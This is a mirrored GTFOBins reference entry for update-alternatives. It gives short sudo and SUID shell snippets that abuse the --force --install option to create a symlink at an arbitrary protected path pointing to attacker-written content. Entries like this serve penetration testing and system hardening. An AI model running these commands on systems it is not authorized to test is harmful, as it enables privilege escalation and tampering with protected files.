1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/update-alternatives.md

18 lines
476 B
Markdown
Raw Permalink Normal View History

---
functions:
sudo:
2020-11-17 18:51:32 +01:00
- description: Write in `$LFILE` a symlink to `$TF`.
code: |
2020-11-17 18:51:32 +01:00
LFILE=/path/to/file_to_write
TF=$(mktemp)
echo DATA >$TF
sudo update-alternatives --force --install "$LFILE" x "$TF" 0
suid:
- description: Write in `$LFILE` a symlink to `$TF`.
code: |
LFILE=/path/to/file_to_write
TF=$(mktemp)
echo DATA >$TF
./update-alternatives --force --install "$LFILE" x "$TF" 0
---